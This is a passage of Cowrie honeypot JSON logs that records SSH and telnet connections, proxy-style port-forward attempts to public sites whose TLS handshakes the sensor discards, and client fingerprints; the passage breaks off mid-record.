{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.254.77.2","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.254.77.2:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:45.459966Z","src_ip":"185.156.73.233","session":"702537ee70d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.254.77.2","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfe\\x1d\\x84\\x0e\\xfb\\xb7q\\xe9\\xbcr\\xe5b\\xe0\\xd5\\xec\\xe5\\x05!\\xf5\\xce\\xc9\\xe0\\xe1W\\xeb\\x1bTms\\xf6y\\xf1 K\\x936\\x9f\\xcam\\xe6\\xa0\\x03\\t]2jTC7\\xfc\\xff\\x1f\\xf0\\xf2\\x08\\xa8T\\x13\\xcd\\x1d\\xe9%\\xceY]\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 kN\\x17\\xdc\\xcf\\x992\\xea\\xca\\xee\\x8b\\x04)8+T:h\\x89\\xa3\\x89\\x17Hp6:E\\x03F\\x03\\x85d\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.254.77.2:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfe\\x1d\\x84\\x0e\\xfb\\xb7q\\xe9\\xbcr\\xe5b\\xe0\\xd5\\xec\\xe5\\x05!\\xf5\\xce\\xc9\\xe0\\xe1W\\xeb\\x1bTms\\xf6y\\xf1 K\\x936\\x9f\\xcam\\xe6\\xa0\\x03\\t]2jTC7\\xfc\\xff\\x1f\\xf0\\xf2\\x08\\xa8T\\x13\\xcd\\x1d\\xe9%\\xceY]\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 kN\\x17\\xdc\\xcf\\x992\\xea\\xca\\xee\\x8b\\x04)8+T:h\\x89\\xa3\\x89\\x17Hp6:E\\x03F\\x03\\x85d\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:45.463663Z","src_ip":"185.156.73.233","session":"702537ee70d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"23.58.105.51","dst_port":443,"src_ip":"185.156.73.233","src_port":56756,"message":"direct-tcp connection request to 23.58.105.51:443 from 127.0.0.1:56756","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:46.210806Z","session":"702537ee70d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"23.58.105.51","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 23.58.105.51:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:47.237282Z","src_ip":"185.156.73.233","session":"702537ee70d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"23.58.105.51","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03S1\\xc3\\xdcmN\\xe69\\x88~\\x07\\xb4\\x17\\xb8\\x0f\\x80\\xe4\\xbb\\xd7t\\xe53\\x04\\xf6[\\xa2\\xf69\\x94=\\xe7d y9jJ\\xb7\\xfa\\xa52s\\x12\\xb1M\\x7f\\x87\\xbb\\x06\\xec\\x81/<\\xeaJz\\xa0\\xe4\\xcf\"(\\xb8\\xc2\\x94\\x89\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x1b\\xf7\\xae\\x9d\\xc8\\xb0\\xc8\\x9a\\x89\\x96V[\\xe3\\xcd\\x90J\\xde\\xfb{\\x85\\xc2\\xdcyORr\\x8c6\\xbdYS`\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 23.58.105.51:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03S1\\xc3\\xdcmN\\xe69\\x88~\\x07\\xb4\\x17\\xb8\\x0f\\x80\\xe4\\xbb\\xd7t\\xe53\\x04\\xf6[\\xa2\\xf69\\x94=\\xe7d y9jJ\\xb7\\xfa\\xa52s\\x12\\xb1M\\x7f\\x87\\xbb\\x06\\xec\\x81/<\\xeaJz\\xa0\\xe4\\xcf\"(\\xb8\\xc2\\x94\\x89\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x1b\\xf7\\xae\\x9d\\xc8\\xb0\\xc8\\x9a\\x89\\x96V[\\xe3\\xcd\\x90J\\xde\\xfb{\\x85\\xc2\\xdcyORr\\x8c6\\xbdYS`\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:47.239565Z","src_ip":"185.156.73.233","session":"702537ee70d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.156.119","dst_port":443,"src_ip":"185.156.73.233","src_port":57274,"message":"direct-tcp connection request to 142.251.156.119:443 from 127.0.0.1:57274","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:48.471331Z","session":"702537ee70d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.156.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.156.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:48.849645Z","src_ip":"185.156.73.233","session":"702537ee70d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.156.119","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbe\\xb6G\\xb4\\xb5\\xf4\\xc4v\\xae\\xe41P9oPG\\xd5\\xa2z\\xe1_\\x90\\xe2L\\xb7\\x1e\\xe2M*\\x88&I \\xe5W\\xb4\\x15X\\x8f-\\x96@\\x14\\xf2\\xa0\\xdf\\xb9\\x9btN\\xfb\\xa1\\xa4Q\\xb23\\xae\\x8f\\xc5\\x13\\xe9\\x98!\\xf7\\xb3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x00G\\x16\\xd3\\xf7\\xd7\\x11\\xda\\xf7\\xc7\\xe9p\\xea\\x8b>\\x03*\\xbcT\\xdf\\xe6\\x92y\\xad\\xcc\\xa7d\\xed\\xa7\\xec\\xfd\\x10\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.156.119:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbe\\xb6G\\xb4\\xb5\\xf4\\xc4v\\xae\\xe41P9oPG\\xd5\\xa2z\\xe1_\\x90\\xe2L\\xb7\\x1e\\xe2M*\\x88&I \\xe5W\\xb4\\x15X\\x8f-\\x96@\\x14\\xf2\\xa0\\xdf\\xb9\\x9btN\\xfb\\xa1\\xa4Q\\xb23\\xae\\x8f\\xc5\\x13\\xe9\\x98!\\xf7\\xb3\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x00G\\x16\\xd3\\xf7\\xd7\\x11\\xda\\xf7\\xc7\\xe9p\\xea\\x8b>\\x03*\\xbcT\\xdf\\xe6\\x92y\\xad\\xcc\\xa7d\\xed\\xa7\\xec\\xfd\\x10\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:48.852930Z","src_ip":"185.156.73.233","session":"702537ee70d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:27:49.540817Z","src_ip":"185.156.73.233","session":"702537ee70d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"301.2","message":"Connection lost after 301.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:30:33.752223Z","src_ip":"114.220.238.30","session":"b430751fe2b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.254.1.68","src_port":37780,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb4c34b7b304","protocol":"telnet","message":"New connection: 122.254.1.68:37780 (159.203.135.109:23) [session: eb4c34b7b304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:31:13.322872Z"}
{"eventid":"cowrie.session.closed","duration":30.459104299545288,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:31:43.781860Z","src_ip":"122.254.1.68","session":"eb4c34b7b304","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.88.156.34","src_port":46964,"dst_ip":"10.17.0.5","dst_port":23,"session":"838e539b87e2","protocol":"telnet","message":"New connection: 49.88.156.34:46964 (10.17.0.5:23) [session: 838e539b87e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:02.288115Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.178.38.59","src_port":58950,"dst_ip":"10.17.0.5","dst_port":22,"session":"4080c1fd9dd7","protocol":"ssh","message":"New connection: 189.178.38.59:58950 (10.17.0.5:22) [session: 4080c1fd9dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:30.008313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T11:42:30.022032Z","src_ip":"189.178.38.59","session":"4080c1fd9dd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-